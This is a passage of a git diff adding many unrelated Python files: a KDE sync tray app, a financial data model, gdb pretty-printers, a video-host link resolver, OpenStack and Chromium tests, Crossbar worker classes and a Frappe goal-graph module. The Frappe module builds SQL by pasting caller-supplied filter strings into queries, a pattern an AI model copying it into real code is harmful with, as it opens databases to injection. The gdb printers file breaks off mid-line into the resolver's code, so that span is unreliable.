core.get_group_list(config, group_names) + self.startSync(groups) + else: + self.window.show() + + return KApplication.exec_() + + def startSync(self, groups): + self.success = True + self.workerThread = WorkerThread(groups) + self.workerThread.logCalled.connect(self.addLog, Qt.QueuedConnection) + + self.sni.setIconByName("task-ongoing") + self.workerThread.start() + self.workerThread.finished.connect(self.slotSyncFinished) + + def slotSyncFinished(self): + if self.success: + self.sni.setIconByName("task-accepted") + self.workerThread = None + QTimer.singleShot(2 * 60 * 1000, self.quitIfNoWindow) + + def slotWindowClosed(self): + if self.workerThread is None: + self.quit() + + def quitIfNoWindow(self): + if not self.window.isVisible(): + self.quit() + + def addLog(self, level, msg): + if level < UserInterface.LOG_INFO: + return + + timestamp = time.localtime() + message = LogMessage(timestamp, level, msg) + self.logMessages.append(message) + + texts = [x.formatted() for x in self.logMessages[-MAX_TEXTS_LENGTH:]] + html = "
    " + "".join(["
  • %s
  • " % x for x in texts]) + "
" + self.sni.setToolTipSubTitle(html) + + if level >= UserInterface.LOG_WARNING: + self.success = False + self.sni.setIconByName("dialog-error") + + self.window.addLog(message) diff --git a/pool/shard009/Python/0082422_ashareprofitexpress.py b/pool/shard009/Python/0082422_ashareprofitexpress.py new file mode 100644 index 0000000000000000000000000000000000000000..475c253482a949666293e354b83f864fa9a64c33 --- /dev/null +++ b/pool/shard009/Python/0082422_ashareprofitexpress.py @@ -0,0 +1,62 @@ +from ....common.db.sql import VARCHAR, Numeric as NUMBER, DateTime as DATETIME, Column, BaseModel, CLOB, DATE +VARCHAR2 = VARCHAR + + +class AShareProfitExpress(BaseModel): + """ + 4.51 中国A股业绩快报 + + Attributes + ---------- + object_id: VARCHAR2(100) + 对象ID + s_info_windcode: VARCHAR2(40) + Wind代码 + ann_dt: VARCHAR2(8) + 公告日期 + report_period: VARCHAR2(8) + 报告期 + oper_rev: NUMBER(20,4) + 营业收入(元) + oper_profit: NUMBER(20,4) + 营业利润(元) + tot_profit: NUMBER(20,4) + 利润总额(元) + net_profit_excl_min_int_inc: NUMBER(20,4) + 净利润(元) + tot_assets: NUMBER(20,4) + 总资产(元) + tot_shrhldr_eqy_excl_min_int: NUMBER(20,4) + 股东权益合计(不含少数股东权益)(元) + eps_diluted: NUMBER(20,4) + 每股收益(摊薄)(元) + roe_diluted: NUMBER(20,4) + 净资产收益率(摊薄)(%) + s_isaudit: NUMBER(5,0) + 是否审计 1:是0:否 + yoynet_profit_excl_min_int_inc: NUMBER(20,4) + 去年同期修正后净利润 + opdate: DATETIME + opdate + opmode: VARCHAR(1) + opmode + + """ + __tablename__ = "AShareProfitExpress" + object_id = Column(VARCHAR2(100), primary_key=True) + s_info_windcode = Column(VARCHAR2(40)) + ann_dt = Column(VARCHAR2(8)) + report_period = Column(VARCHAR2(8)) + oper_rev = Column(NUMBER(20,4)) + oper_profit = Column(NUMBER(20,4)) + tot_profit = Column(NUMBER(20,4)) + net_profit_excl_min_int_inc = Column(NUMBER(20,4)) + tot_assets = Column(NUMBER(20,4)) + tot_shrhldr_eqy_excl_min_int = Column(NUMBER(20,4)) + eps_diluted = Column(NUMBER(20,4)) + roe_diluted = Column(NUMBER(20,4)) + s_isaudit = Column(NUMBER(5,0)) + yoynet_profit_excl_min_int_inc = Column(NUMBER(20,4)) + opdate = Column(DATETIME) + opmode = Column(VARCHAR(1)) + diff --git a/pool/shard009/Python/0082424_printers.py b/pool/shard009/Python/0082424_printers.py new file mode 100644 index 0000000000000000000000000000000000000000..3efd26e5f7836aa226a1eaebd91635aca1fdfa38 --- /dev/null +++ b/pool/shard009/Python/0082424_printers.py @@ -0,0 +1,141 @@ +# -*- coding: utf-8 -*- + +# How to enable it: +# * Create a ~/.gdbinit file, that contains the following: +# python +# import sys +# sys.path.insert(0, '/path/to/pearray/printer/directory') +# from pearray.printers import register_pearray_printers +# register_pearray_printers (None) +# end + +import gdb +import re + + +class _SpectrumEntryIterator(object): + "Internal Spectrum Entry Interator" + + def __init__ (self, entries): + self.entries = entries + self.currentEntry = 0 + + def __iter__ (self): + return self + + def next(self): + return self.__next__() # Python 2.x compatibility + + def __next__(self): + entry = self.currentEntry + if self.currentEntry >= self.entries: + raise StopIteration + + self.currentEntry = self.currentEntry + 1 + return entry + + +class SpectrumPrinter: + "Print PR::Spectrum" + + def __init__(self, val): + "Extract all the necessary information" + + # mInternal is a shared_ptr! + sharedData = val['mInternal']['_M_ptr'].dereference() + self.data = sharedData['Data'] + self.entries = int(sharedData['End']) - int(sharedData['Start']) + + class _iterator(_SpectrumEntryIterator): + def __init__ (self, entries, dataPtr): + super(SpectrumPrinter._iterator, self).__init__(entries) + self.dataPtr = dataPtr + + def __next__(self): + entry = super(SpectrumPrinter._iterator, self).__next__() + + item = self.dataPtr.dereference() + self.dataPtr = self.dataPtr + 1 + return ('[%d]' % (entry,), item) + + def children(self): + return self._iterator(self.entries, self.data) + + def to_string(self): + return "PR::Spectrum[%d] (data ptr: %s)" % (self.entries, self.data) + + +class SIMDPrinter: + "Print vfloat/vuint32/vint32" + + def __init__(self, val): + "Extract all the necessary information" + + vector_type = str(val.type.unqualified()) + + inner_type = None + if vector_type == 'PR::vfloat': + inner_type = 'float' + elif vector_type == 'PR::vint32': + inner_type = 'int' + elif vector_type == 'PR::vuint32': + inner_type = 'unsigned int' + else: + match = re.match('^PR::VectorBase<4, (\\w+),', vector_type) + if match is None: + print("ERROR: Unknown vector type %s" % str(vector_type)) + else: + inner_type = match[1] + + ptr_type = gdb.lookup_type(inner_type).pointer() + ptr = val['d_'].address.reinterpret_cast(ptr_type) + self.data = [] + self.data.append(ptr[0]) + self.data.append(ptr[1]) + self.data.append(ptr[2]) + self.data.append(ptr[3]) + + def to_string(self): + return ("[%s]" % (",".join(str(f) for f in self.data))) + + def display_hint(self): + return 'array' + + def children(self): + l = list((str(c), value) for c, value in enumerate(self.data)) + return iter(l) + + +# TODO: Add support for custom matrix sizes +class EigenSIMDPrinter: + "Print Vector3fv, Vector3iv" + + def __init__(self, val): + "Extract all the necessary information" + + dataptr = val['m_storage']['m_data']['array'] + self.data = [dataptr[0], dataptr[1], dataptr[2]] + + def to_string(self): + return self.data + + def display_hint(self): + return 'array' + + def children(self): + l = list((str(c), value) for c, value in enumerate(self.data)) + return iter(l) + + +def build_pretty_printer (): + pp = gdb.printing.RegexpCollectionPrettyPrinter("pearray") + pp.add_printer('Spectrum', '^PR::Spectrum$', SpectrumPrinter) + pp.add_printer('VectorBase', '^PR::VectorBase', SIMDPrinter) + pp.add_printer('VectorV', 'Eigen::Matrix]*>(eval.function.p,a,c,k,e,.*?)')) + sources = get_match(sources, 'sources\s*:\s*\[([^\]]+)\]') + + video_urls = [] + for media_url in find_multiple_matches(sources, '"([^"]+)"'): + if media_url.endswith(".mp4"): + video_urls.append([".mp4 [%s]" % id_server, media_url]) + + if media_url.endswith(".m3u8"): + video_urls.append(["M3U8 [%s]" % id_server, media_url]) + + if media_url.endswith(".smil"): + smil_data = downloadpage(media_url).data + + rtmp = get_match(smil_data, 'base="([^"]+)"') + playpaths = find_multiple_matches(smil_data, 'src="([^"]+)" height="(\d+)"') + + for playpath, inf in playpaths: + h = get_match(playpath, 'h=([a-z0-9]+)') + video_urls.append(["RTMP [%s] %s" % (id_server, inf), "%s playpath=%s" % (rtmp, playpath)]) + + for video_url in video_urls: + logger.info("video_url: %s - %s" % (video_url[0], video_url[1])) + + return video_urls + +def find_videos(text): + encontrados = set() + devuelve = [] + + # http://vidabc.com/3unqlhu5en58.html + # http://vidabc.com/embed-3unqlhu5en58.html + patronvideos = "%s.com/(?:embed-|)([a-z0-9]+)" % id_server + logger.info("[%s.py] find_videos #" % id_server + patronvideos + "#") + + matches = find_multiple_matches(text, patronvideos) + + for match in matches: + titulo = "[%s]" % id_server + url = host + "/embed-%s.html" % match + if url not in encontrados: + logger.info(" url=" + url) + devuelve.append([titulo, url, id_server]) + encontrados.add(url) + else: + logger.info(" url duplicada=" + url) + + return devuelve diff --git a/pool/shard009/Python/0082430_test_service.py b/pool/shard009/Python/0082430_test_service.py new file mode 100644 index 0000000000000000000000000000000000000000..6c4374eff3f398735bdf0b5b005772f77f6ee882 --- /dev/null +++ b/pool/shard009/Python/0082430_test_service.py @@ -0,0 +1,285 @@ +# Copyright 2013 Nebula Inc. +# +# Licensed under the Apache License, Version 2.0 (the "License"); you may +# not use this file except in compliance with the License. You may obtain +# a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT +# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the +# License for the specific language governing permissions and limitations +# under the License. +# + +from keystoneclient import exceptions as identity_exc +from osc_lib import exceptions + +from openstackclient.identity.v2_0 import service +from openstackclient.tests.unit.identity.v2_0 import fakes as identity_fakes + + +class TestService(identity_fakes.TestIdentityv2): + fake_service = identity_fakes.FakeService.create_one_service() + + def setUp(self): + super(TestService, self).setUp() + + # Get a shortcut to the ServiceManager Mock + self.services_mock = self.app.client_manager.identity.services + self.services_mock.reset_mock() + + +class TestServiceCreate(TestService): + + fake_service_c = identity_fakes.FakeService.create_one_service() + columns = ( + 'description', + 'id', + 'name', + 'type', + ) + datalist = ( + fake_service_c.description, + fake_service_c.id, + fake_service_c.name, + fake_service_c.type, + ) + + def setUp(self): + super(TestServiceCreate, self).setUp() + + self.services_mock.create.return_value = self.fake_service_c + + # Get the command object to test + self.cmd = service.CreateService(self.app, None) + + def test_service_create(self): + arglist = [ + self.fake_service_c.type, + ] + verifylist = [ + ('type', self.fake_service_c.type), + ('name', None), + ('description', None), + ] + parsed_args = self.check_parser(self.cmd, arglist, verifylist) + + # In base command class ShowOne in cliff, abstract method take_action() + # returns a two-part tuple with a tuple of column names and a tuple of + # data to be shown. + columns, data = self.cmd.take_action(parsed_args) + + # ServiceManager.create(name, service_type, description) + self.services_mock.create.assert_called_with( + None, + self.fake_service_c.type, + None, + ) + + self.assertEqual(self.columns, columns) + self.assertEqual(self.datalist, data) + + def test_service_create_with_name_option(self): + arglist = [ + '--name', self.fake_service_c.name, + self.fake_service_c.type, + ] + verifylist = [ + ('type', self.fake_service_c.type), + ('name', self.fake_service_c.name), + ('description', None), + ] + parsed_args = self.check_parser(self.cmd, arglist, verifylist) + + # In base command class ShowOne in cliff, abstract method take_action() + # returns a two-part tuple with a tuple of column names and a tuple of + # data to be shown. + columns, data = self.cmd.take_action(parsed_args) + + # ServiceManager.create(name, service_type, description) + self.services_mock.create.assert_called_with( + self.fake_service_c.name, + self.fake_service_c.type, + None, + ) + + self.assertEqual(self.columns, columns) + self.assertEqual(self.datalist, data) + + def test_service_create_description(self): + arglist = [ + '--name', self.fake_service_c.name, + '--description', self.fake_service_c.description, + self.fake_service_c.type, + ] + verifylist = [ + ('type', self.fake_service_c.type), + ('name', self.fake_service_c.name), + ('description', self.fake_service_c.description), + ] + parsed_args = self.check_parser(self.cmd, arglist, verifylist) + + # In base command class ShowOne in cliff, abstract method take_action() + # returns a two-part tuple with a tuple of column names and a tuple of + # data to be shown. + columns, data = self.cmd.take_action(parsed_args) + + # ServiceManager.create(name, service_type, description) + self.services_mock.create.assert_called_with( + self.fake_service_c.name, + self.fake_service_c.type, + self.fake_service_c.description, + ) + + self.assertEqual(self.columns, columns) + self.assertEqual(self.datalist, data) + + +class TestServiceDelete(TestService): + + def setUp(self): + super(TestServiceDelete, self).setUp() + + self.services_mock.get.side_effect = identity_exc.NotFound(None) + self.services_mock.find.return_value = self.fake_service + self.services_mock.delete.return_value = None + + # Get the command object to test + self.cmd = service.DeleteService(self.app, None) + + def test_service_delete_no_options(self): + arglist = [ + self.fake_service.name, + ] + verifylist = [ + ('services', [self.fake_service.name]), + ] + parsed_args = self.check_parser(self.cmd, arglist, verifylist) + + result = self.cmd.take_action(parsed_args) + + self.services_mock.delete.assert_called_with( + self.fake_service.id, + ) + self.assertIsNone(result) + + +class TestServiceList(TestService): + + def setUp(self): + super(TestServiceList, self).setUp() + + self.services_mock.list.return_value = [self.fake_service] + + # Get the command object to test + self.cmd = service.ListService(self.app, None) + + def test_service_list_no_options(self): + arglist = [] + verifylist = [] + parsed_args = self.check_parser(self.cmd, arglist, verifylist) + + # In base command class Lister in cliff, abstract method take_action() + # returns a tuple containing the column names and an iterable + # containing the data to be listed. + columns, data = self.cmd.take_action(parsed_args) + + self.services_mock.list.assert_called_with() + + collist = ('ID', 'Name', 'Type') + self.assertEqual(collist, columns) + datalist = (( + self.fake_service.id, + self.fake_service.name, + self.fake_service.type, + ), ) + self.assertEqual(datalist, tuple(data)) + + def test_service_list_long(self): + arglist = [ + '--long', + ] + verifylist = [ + ('long', True), + ] + parsed_args = self.check_parser(self.cmd, arglist, verifylist) + + # In base command class Lister in cliff, abstract method take_action() + # returns a tuple containing the column names and an iterable + # containing the data to be listed. + columns, data = self.cmd.take_action(parsed_args) + + self.services_mock.list.assert_called_with() + + collist = ('ID', 'Name', 'Type', 'Description') + self.assertEqual(collist, columns) + datalist = (( + self.fake_service.id, + self.fake_service.name, + self.fake_service.type, + self.fake_service.description, + ), ) + self.assertEqual(datalist, tuple(data)) + + +class TestServiceShow(TestService): + + fake_service_s = identity_fakes.FakeService.create_one_service() + + def setUp(self): + super(TestServiceShow, self).setUp() + + self.services_mock.get.side_effect = identity_exc.NotFound(None) + self.services_mock.find.return_value = self.fake_service_s + + # Get the command object to test + self.cmd = service.ShowService(self.app, None) + + def test_service_show(self): + arglist = [ + self.fake_service_s.name, + ] + verifylist = [ + ('service', self.fake_service_s.name), + ] + parsed_args = self.check_parser(self.cmd, arglist, verifylist) + + # In base command class ShowOne in cliff, abstract method take_action() + # returns a two-part tuple with a tuple of column names and a tuple of + # data to be shown. + columns, data = self.cmd.take_action(parsed_args) + + # ServiceManager.find(id) + self.services_mock.find.assert_called_with( + name=self.fake_service_s.name, + ) + + collist = ('description', 'id', 'name', 'type') + self.assertEqual(collist, columns) + datalist = ( + self.fake_service_s.description, + self.fake_service_s.id, + self.fake_service_s.name, + self.fake_service_s.type, + ) + self.assertEqual(datalist, data) + + def test_service_show_nounique(self): + self.services_mock.find.side_effect = identity_exc.NoUniqueMatch(None) + arglist = [ + 'nounique_service', + ] + verifylist = [ + ('service', 'nounique_service'), + ] + parsed_args = self.check_parser(self.cmd, arglist, verifylist) + + try: + self.cmd.take_action(parsed_args) + self.fail('CommandError should be raised.') + except exceptions.CommandError as e: + self.assertEqual( + "Multiple service matches found for 'nounique_service'," + " use an ID to be more specific.", str(e)) diff --git a/pool/shard009/Python/0082431_linux_based_platform_backend_unittest.py b/pool/shard009/Python/0082431_linux_based_platform_backend_unittest.py new file mode 100644 index 0000000000000000000000000000000000000000..b7bc8cf3e0a49d0dab592447b905f3c601e9b2d4 --- /dev/null +++ b/pool/shard009/Python/0082431_linux_based_platform_backend_unittest.py @@ -0,0 +1,121 @@ +# Copyright 2013 The Chromium Authors. All rights reserved. +# Use of this source code is governed by a BSD-style license that can be +# found in the LICENSE file. + +import logging +import os +import unittest + +from telemetry.core import util +from telemetry.internal.platform import linux_based_platform_backend +import mock + + +class TestBackend(linux_based_platform_backend.LinuxBasedPlatformBackend): + + # pylint: disable=abstract-method + + def __init__(self): + super(TestBackend, self).__init__() + self._mock_files = {} + + def SetMockFile(self, filename, output): + self._mock_files[filename] = output + + def GetFileContents(self, filename): + return self._mock_files[filename] + + def GetClockTicks(self): + return 41 + + +class LinuxBasedPlatformBackendTest(unittest.TestCase): + + def SetMockFileInBackend(self, backend, real_file, mock_file): + with open(os.path.join(util.GetUnittestDataDir(), real_file)) as f: + backend.SetMockFile(mock_file, f.read()) + + def testGetSystemCommitCharge(self): + if not linux_based_platform_backend.resource: + logging.warning('Test not supported') + return + + backend = TestBackend() + self.SetMockFileInBackend(backend, 'proc_meminfo', '/proc/meminfo') + result = backend.GetSystemCommitCharge() + # 25252140 == MemTotal - MemFree - Buffers - Cached (in kB) + self.assertEquals(result, 25252140) + + def testGetSystemTotalPhysicalMemory(self): + if not linux_based_platform_backend.resource: + logging.warning('Test not supported') + return + + backend = TestBackend() + self.SetMockFileInBackend(backend, 'proc_meminfo', '/proc/meminfo') + result = backend.GetSystemTotalPhysicalMemory() + # 67479191552 == MemTotal * 1024 + self.assertEquals(result, 67479191552) + + def testGetCpuStatsBasic(self): + if not linux_based_platform_backend.resource: + logging.warning('Test not supported') + return + + backend = TestBackend() + self.SetMockFileInBackend(backend, 'stat', '/proc/1/stat') + result = backend.GetCpuStats(1) + self.assertEquals(result, {'CpuProcessTime': 22.0}) + + def testGetCpuTimestampBasic(self): + if not linux_based_platform_backend.resource: + logging.warning('Test not supported') + return + jiffies_grep_string = """ + jiffies +jiffies a1111 + .last_jiffies : 4307239958 + .next_jiffies : 4307239968 + jiffies: 10505463300 + jiffies: 10505463333 + """ + with mock.patch.object( + linux_based_platform_backend.LinuxBasedPlatformBackend, + 'RunCommand', return_value=jiffies_grep_string) as mock_method: + backend = linux_based_platform_backend.LinuxBasedPlatformBackend() + result = backend.GetCpuTimestamp() + self.assertEquals(result, {'TotalTime': 105054633.0}) + mock_method.assert_call_once_with( + ['grep', '-m', '1', 'jiffies:', '/proc/timer_list']) + + def testGetMemoryStatsBasic(self): + if not linux_based_platform_backend.resource: + logging.warning('Test not supported') + return + + backend = TestBackend() + self.SetMockFileInBackend(backend, 'stat', '/proc/1/stat') + self.SetMockFileInBackend(backend, 'status', '/proc/1/status') + self.SetMockFileInBackend(backend, 'smaps', '/proc/1/smaps') + result = backend.GetMemoryStats(1) + self.assertEquals(result, {'PrivateDirty': 5324800, + 'VM': 1025978368, + 'VMPeak': 1050099712, + 'WorkingSetSize': 84000768, + 'WorkingSetSizePeak': 144547840}) + + def testGetMemoryStatsNoHWM(self): + if not linux_based_platform_backend.resource: + logging.warning('Test not supported') + return + + backend = TestBackend() + self.SetMockFileInBackend(backend, 'stat', '/proc/1/stat') + self.SetMockFileInBackend(backend, 'status_nohwm', '/proc/1/status') + self.SetMockFileInBackend(backend, 'smaps', '/proc/1/smaps') + result = backend.GetMemoryStats(1) + self.assertEquals(result, {'PrivateDirty': 5324800, + 'VM': 1025978368, + 'VMPeak': 1025978368, + 'WorkingSetSize': 84000768, + 'WorkingSetSizePeak': 84000768}) diff --git a/pool/shard009/Python/0082437_processtypes.py b/pool/shard009/Python/0082437_processtypes.py new file mode 100644 index 0000000000000000000000000000000000000000..568610702a8c46437491935453a267069fb70895 --- /dev/null +++ b/pool/shard009/Python/0082437_processtypes.py @@ -0,0 +1,305 @@ +##################################################################################### +# +# Copyright (C) Tavendo GmbH +# +# Unless a separate license agreement exists between you and Tavendo GmbH (e.g. you +# have purchased a commercial license), the license terms below apply. +# +# Should you enter into a separate license agreement after having received a copy of +# this software, then the terms of such license agreement replace the terms below at +# the time at which such license agreement becomes effective. +# +# In case a separate license agreement ends, and such agreement ends without being +# replaced by another separate license agreement, the license terms below apply +# from the time at which said agreement ends. +# +# LICENSE TERMS +# +# This program is free software: you can redistribute it and/or modify it under the +# terms of the GNU Affero General Public License, version 3, as published by the +# Free Software Foundation. This program is distributed in the hope that it will be +# useful, but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. +# +# See the GNU Affero General Public License Version 3 for more details. +# +# You should have received a copy of the GNU Affero General Public license along +# with this program. If not, see . +# +##################################################################################### + +from __future__ import absolute_import, print_function + +import os +import six +import json + +from collections import deque + +from datetime import datetime + +from twisted.internet.defer import Deferred +from twisted.python.runtime import platform +from twisted.internet.task import LoopingCall + +from txaio import make_logger +from crossbar._logging import cb_logging_aware, escape_formatting, record_separator + +__all__ = ('RouterWorkerProcess', + 'ContainerWorkerProcess', + 'GuestWorkerProcess', + 'WebSocketTesteeWorkerProcess') + + +class WorkerProcess(object): + """ + Internal run-time representation of a worker process. + """ + TYPE = 'worker' + LOGNAME = 'Worker' + + def __init__(self, controller, id, who, keeplog=None): + """ + Ctor. + + :param controller: The node controller this worker was created by. + :type controller: instance of NodeControllerSession + :param id: The ID of the worker. + :type id: str + :param who: Who triggered creation of this worker. + :type who: str + :param keeplog: If not `None`, buffer log message received to be later + retrieved via getlog(). If `0`, keep infinite log internally. + If `> 0`, keep at most such many log entries in buffer. + :type keeplog: int or None + """ + self._logger = make_logger() + + self._controller = controller + + self.id = id + self.who = who + self.pid = None + self.status = "starting" + + self.created = datetime.utcnow() + self.connected = None + self.started = None + + self._log_entries = deque(maxlen=10) + + if platform.isWindows(): + self._log_fds = [2] + else: + self._log_fds = [1, 2] + self._log_lineno = 0 + self._log_topic = 'crossbar.node.{}.worker.{}.on_log'.format(self._controller._node_id, self.id) + + self._log_rich = None # Does not support rich logs + + # track stats for worker->controller traffic + self._stats = {} + self._stats_printer = None + + # A deferred that resolves when the worker is ready. + self.ready = Deferred() + + # A deferred that resolves when the worker has exited. + self.exit = Deferred() + self.exit.addBoth(self._dump_remaining_log) + + def getlog(self, limit=None): + # FIXME: return reversed, limited log + return list(self._log_entries) + + def _dump_remaining_log(self, result): + """ + If there's anything left in the log buffer, log it out so it's not + lost. + """ + if self._log_rich and self._log_data != u"": + self._logger.warn("REMAINING LOG BUFFER AFTER EXIT FOR PID {pid}:", + pid=self.pid) + + for log in self._log_data.split(os.linesep): + self._logger.warn(escape_formatting(log)) + + return result + + def log(self, childFD, data): + """ + Handle a log message (or a fragment of such) coming in. + """ + assert(childFD in self._log_fds) + + system = "{:<10} {:>6}".format(self.LOGNAME, self.pid) + + if self._log_rich and childFD == 1: + # For "rich logger" workers: + # This is a log message made from some super dumb software that + # writes directly to FD1 instead of sys.stdout (which is captured + # by the logger). Because of this, we can't trust any portion of it + # and repr() it. + self._logger.info(repr(data), cb_namespace="FD1", log_system=system) + self._log_entries.append(repr(data)) + return + + if type(data) != six.text_type: + data = data.decode('utf8') + + if self._log_rich is None: + # If it supports rich logging, it will print just the logger aware + # "magic phrase" as its first message. + if data[0:len(cb_logging_aware)] == cb_logging_aware: + self._log_rich = True + self._log_data = u"" # Log buffer + return + else: + self._log_rich = False + + if self._log_rich: + # This guest supports rich logs. + self._log_data += data + + while record_separator in self._log_data: + + log, self._log_data = self._log_data.split(record_separator, 1) + + try: + event = json.loads(log) + except ValueError: + # If invalid JSON is written out, just output the raw text. + # We tried! + event = {"level": u"warn", + "text": u"INVALID JSON: {}".format(escape_formatting(log))} + event_text = event.pop("text") + event_namespace = event.pop("namespace", None) + level = event.pop("level") + + self._logger.emit(level, event_text, log_system=system, + cb_namespace=event_namespace, **event) + self._log_entries.append(event) + + if self._log_topic: + self._controller.publish(self._log_topic, event_text) + + else: + # Rich logs aren't supported + data = escape_formatting(data) + + for row in data.split(os.linesep): + row = row.strip() + + if row == u"": + continue + + self._logger.info(row, log_system=system) + self._log_entries.append(row) + + if self._log_topic: + self._controller.publish(self._log_topic, row) + + def track_stats(self, fd, dlen): + """ + Tracks statistics about bytes received from native worker + over one of the pipes used for communicating with the worker. + """ + if fd not in self._stats: + self._stats[fd] = { + 'count': 0, + 'bytes': 0 + } + self._stats[fd]['count'] += 1 + self._stats[fd]['bytes'] += dlen + + def log_stats(self, period=0): + if not period: + if self._stats_printer: + self._stats_printer.stop() + self._stats_printer = None + else: + if self._stats_printer: + self._stats_printer.stop() + + def print_stats(): + self._logger.debug("Worker {id} -> Controller traffic: {stats}", id=self.id, stats=self._stats) + self._stats_printer = LoopingCall(print_stats) + self._stats_printer.start(period) + + +class NativeWorkerProcess(WorkerProcess): + """ + Internal run-time representation of a native worker (router or + container currently) process. + """ + + TYPE = 'native' + LOGNAME = 'Native' + + def __init__(self, controller, id, who, keeplog=None): + """ + Ctor. + + :param controller: The node controller this worker was created by. + :type controller: instance of NodeControllerSession + :param id: The ID of the worker. + :type id: str + :param who: Who triggered creation of this worker. + :type who: str + """ + WorkerProcess.__init__(self, controller, id, who, keeplog) + + self.factory = None + self.proto = None + + +class RouterWorkerProcess(NativeWorkerProcess): + """ + Internal run-time representation of a router worker process. + """ + + TYPE = 'router' + LOGNAME = 'Router' + + +class ContainerWorkerProcess(NativeWorkerProcess): + """ + Internal run-time representation of a container worker process. + """ + + TYPE = 'container' + LOGNAME = 'Container' + + +class WebSocketTesteeWorkerProcess(NativeWorkerProcess): + """ + Internal run-time representation of a websocket-testee worker process. + """ + + TYPE = 'websocket-testee' + LOGNAME = 'WebSocketTestee' + + +class GuestWorkerProcess(WorkerProcess): + """ + Internal run-time representation of a guest worker process. + """ + + TYPE = 'guest' + LOGNAME = 'Guest' + + def __init__(self, controller, id, who, keeplog=None): + """ + Ctor. + + :param controller: The node controller this worker was created by. + :type controller: instance of NodeControllerSession + :param id: The ID of the worker. + :type id: str + :param who: Who triggered creation of this worker. + :type who: str + """ + WorkerProcess.__init__(self, controller, id, who, keeplog) + + self._log_fds = [1, 2] + self.proto = None diff --git a/pool/shard009/Python/0082440_goal.py b/pool/shard009/Python/0082440_goal.py new file mode 100644 index 0000000000000000000000000000000000000000..4c63eb9fc4136a102d76f38aac94254bcf2912e2 --- /dev/null +++ b/pool/shard009/Python/0082440_goal.py @@ -0,0 +1,158 @@ +# Copyright (c) 2015, Frappe Technologies Pvt. Ltd. and Contributors +# License: GNU General Public License v3. See license.txt + +from __future__ import unicode_literals +import frappe +from frappe import _ + + +def get_monthly_results(goal_doctype, goal_field, date_col, filter_str, aggregation = 'sum'): + '''Get monthly aggregation values for given field of doctype''' + # TODO: move to ORM? + if(frappe.db.db_type == 'postgres'): + month_year_format_query = '''to_char("{}", 'MM-YYYY')'''.format(date_col) + else: + month_year_format_query = 'date_format(`{}`, "%m-%Y")'.format(date_col) + + conditions = ('where ' + filter_str) if filter_str else '' + results = frappe.db.sql('''SELECT {aggregation}(`{goal_field}`) AS {goal_field}, + {month_year_format_query} AS month_year + FROM `{table_name}` {conditions} + GROUP BY month_year''' + .format( + aggregation=aggregation, + goal_field=goal_field, + month_year_format_query=month_year_format_query, + table_name="tab" + goal_doctype, + conditions=conditions + ), as_dict=True) + + month_to_value_dict = {} + for d in results: + month_to_value_dict[d['month_year']] = d[goal_field] + + return month_to_value_dict + +@frappe.whitelist() +def get_monthly_goal_graph_data(title, doctype, docname, goal_value_field, goal_total_field, goal_history_field, + goal_doctype, goal_doctype_link, goal_field, date_field, filter_str, aggregation="sum"): + ''' + Get month-wise graph data for a doctype based on aggregation values of a field in the goal doctype + + :param title: Graph title + :param doctype: doctype of graph doc + :param docname: of the doc to set the graph in + :param goal_value_field: goal field of doctype + :param goal_total_field: current month value field of doctype + :param goal_history_field: cached history field + :param goal_doctype: doctype the goal is based on + :param goal_doctype_link: doctype link field in goal_doctype + :param goal_field: field from which the goal is calculated + :param filter_str: where clause condition + :param aggregation: a value like 'count', 'sum', 'avg' + + :return: dict of graph data + ''' + + from frappe.utils.formatters import format_value + import json + + # should have atleast read perm + if not frappe.has_permission(goal_doctype): + return None + + meta = frappe.get_meta(doctype) + doc = frappe.get_doc(doctype, docname) + + goal = doc.get(goal_value_field) + formatted_goal = format_value(goal, meta.get_field(goal_value_field), doc) + + current_month_value = doc.get(goal_total_field) + formatted_value = format_value(current_month_value, meta.get_field(goal_total_field), doc) + + from frappe.utils import today, getdate, formatdate, add_months + current_month_year = formatdate(today(), "MM-yyyy") + + history = doc.get(goal_history_field) + try: + month_to_value_dict = json.loads(history) if history and '{' in history else None + except ValueError: + month_to_value_dict = None + + if month_to_value_dict is None: + doc_filter = (goal_doctype_link + " = " + frappe.db.escape(docname)) if doctype != goal_doctype else '' + if filter_str: + doc_filter += ' and ' + filter_str if doc_filter else filter_str + month_to_value_dict = get_monthly_results(goal_doctype, goal_field, date_field, doc_filter, aggregation) + + month_to_value_dict[current_month_year] = current_month_value + + months = [] + months_formatted = [] + values = [] + values_formatted = [] + for i in range(0, 12): + date_value = add_months(today(), -i) + month_value = formatdate(date_value, "MM-yyyy") + month_word = getdate(date_value).strftime('%b %y') + month_year = getdate(date_value).strftime('%B') + ', ' + getdate(date_value).strftime('%Y') + months.insert(0, month_word) + months_formatted.insert(0, month_year) + if month_value in month_to_value_dict: + val = month_to_value_dict[month_value] + else: + val = 0 + values.insert(0, val) + values_formatted.insert(0, format_value(val, meta.get_field(goal_total_field), doc)) + + y_markers = [] + summary_values = [ + { + 'title': _("This month"), + 'color': '#ffa00a', + 'value': formatted_value + } + ] + + if float(goal) > 0: + y_markers = [ + { + 'label': _("Goal"), + 'lineType': "dashed", + 'value': goal + }, + ] + summary_values += [ + { + 'title': _("Goal"), + 'color': '#5e64ff', + 'value': formatted_goal + }, + { + 'title': _("Completed"), + 'color': '#28a745', + 'value': str(int(round(float(current_month_value)/float(goal)*100))) + "%" + } + ] + + data = { + 'title': title, + # 'subtitle': + + 'data': { + 'datasets': [ + { + 'values': values, + 'formatted': values_formatted + } + ], + 'labels': months, + }, + + 'summary': summary_values, + } + + if y_markers: + data["data"]["yMarkers"] = y_markers + + return data diff --git a/pool/shard009/Python/0082441_batch-process.py b/pool/shard009/Python/0082441_batch-process.py new file mode 100644 index 0000000000000000000000000000000000000000..bf5ea9bd1ecda96d539acd23f1387542c6b555aa --- /dev/null +++ b/pool/shard009/Python/0082441_batch-process.py @@ -0,0 +1,41 @@ +#!/usr/bin/env python3 + +import argparse +import glob +import crop +import segment + +in_path = None +out_dir = None +debug = False +file_ext = 'png' + + +def main(): + parser = argparse.ArgumentParser() + parser.add_argument('action', help='"crop" or "segment"', type=str) + parser.add_argument('in_path', help='glob for input images', type=str) + parser.add_argument('out_dir', help='directory to output results', type=str) + parser.add_argument('threshold', help='threshold see relevant file', type=int) + parser.add_argument('--resize', help='whether to resize or not', type=bool) + parser.add_argument('--file_ext', help='output file extension', type=str, + default='jpg') + args = 